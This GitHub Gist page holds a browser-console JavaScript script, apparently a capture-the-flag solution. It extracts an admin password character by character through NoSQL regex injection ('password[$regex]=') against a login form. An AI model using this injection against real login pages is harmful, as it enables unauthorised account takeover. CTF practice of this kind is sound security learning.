Last active
January 3, 2016 13:59
-
-
Save Leko/8473655 to your computer and use it in GitHub Desktop.
ちまちまフォームに入力するのがアホらしくなったのでAjaxでパスワードを推定していきます。ページを開いてコンソールに流し込まれる形でのjsを想定しています。
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var PREFIX = "FLAG_", | |
ANY = ".*", | |
flag = "", | |
tokens = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split(""); | |
/** | |
* ログインを試み、このパスワードでログインが可能か否か判断する | |
* @param {String} pass パスワード文字列 | |
*/ | |
function loginable(pass) { | |
var x = new XMLHttpRequest(), | |
p = "username=admin&login=LOGIN&password[$regex]=" + pass; | |
x.open('POST', '.', false); | |
x.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
x.send(p); | |
// ログイン成功時のHTMLには"簡単すぎましたね略"の文字列が含まれている | |
return x.responseText.indexOf("簡単") >= 0; | |
} | |
// アルファベット(大文字小文字), 数字全てでログインを試みる | |
// FLAG_{現在まで当てている文字列}{試みる文字列}.*という形でパスワードを送信する | |
function testAllTokens(w) { | |
if(loginable(PREFIX + flag + w + ANY)) { | |
flag += w; | |
console.log("success:", w, "flag:", flag); | |
return false; | |
} | |
return true; | |
} | |
// パスワードを1文字ずつ当てていく | |
// every: 評価した関数の戻り値が1つでもfalseならfalse、全てtrueならtrueを返す | |
// 上記トークンで1文字も当たらない = パスワードはこれ以上続かないと仮定し終了 | |
while(!tokens.every(testAllTokens)); | |
console.log("Finish. flag is ", PREFIX + flag); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment